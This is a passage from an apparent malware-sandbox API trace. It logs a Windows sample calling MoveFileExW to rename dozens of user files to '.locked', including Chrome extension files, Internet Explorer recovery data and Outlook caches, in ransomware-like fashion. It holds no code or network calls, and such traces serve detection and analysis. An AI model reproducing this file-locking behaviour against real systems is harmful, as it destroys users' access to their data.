HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.locked"), dwFlags=0x2) returned 1 [0137.707] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.locked"), dwFlags=0x2) returned 1 [0137.717] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.locked"), dwFlags=0x2) returned 1 [0137.719] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.locked"), dwFlags=0x2) returned 1 [0137.723] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.locked"), dwFlags=0x2) returned 1 [0137.725] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.locked"), dwFlags=0x2) returned 1 [0137.727] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.locked"), dwFlags=0x2) returned 1 [0137.736] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.locked"), dwFlags=0x2) returned 1 [0137.743] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.locked"), dwFlags=0x2) returned 1 [0137.806] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.locked"), dwFlags=0x2) returned 1 [0137.812] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.locked"), dwFlags=0x2) returned 1 [0137.829] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.locked"), dwFlags=0x2) returned 1 [0137.844] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.locked"), dwFlags=0x2) returned 1 [0138.210] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.locked"), dwFlags=0x2) returned 1 [0138.243] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.locked"), dwFlags=0x2) returned 1 [0138.440] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.locked"), dwFlags=0x2) returned 1 [0139.187] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.locked"), dwFlags=0x2) returned 1 [0139.195] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.locked"), dwFlags=0x2) returned 1 [0139.717] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.locked"), dwFlags=0x2) returned 1 [0139.785] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db.locked"), dwFlags=0x2) returned 1 [0139.792] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.locked"), dwFlags=0x2) returned 1 [0140.604] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db.locked"), dwFlags=0x2) returned 1 [0140.689] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\index.dat.locked"), dwFlags=0x2) returned 1 [0140.719] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.locked"), dwFlags=0x2) returned 1 [0140.802] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.locked"), dwFlags=0x2) returned 1 [0140.810] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml.locked"), dwFlags=0x2) returned 1 [0140.846] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\index.dat.locked"), dwFlags=0x2) returned 1 [0140.860] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\frameiconcache.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\frameiconcache.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\frameiconcache.dat.locked"), dwFlags=0x2) returned 1 [0140.872] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat.locked"), dwFlags=0x2) returned 1 [0140.880] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat.locked"), dwFlags=0x2) returned 1 [0140.888] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat.locked"), dwFlags=0x2) returned 1 [0140.895] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat.locked"), dwFlags=0x2) returned 1 [0140.939] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml.locked"), dwFlags=0x2) returned 1 [0140.947] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat.locked"), dwFlags=0x2) returned 1 [0141.061] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\content14.dat"), 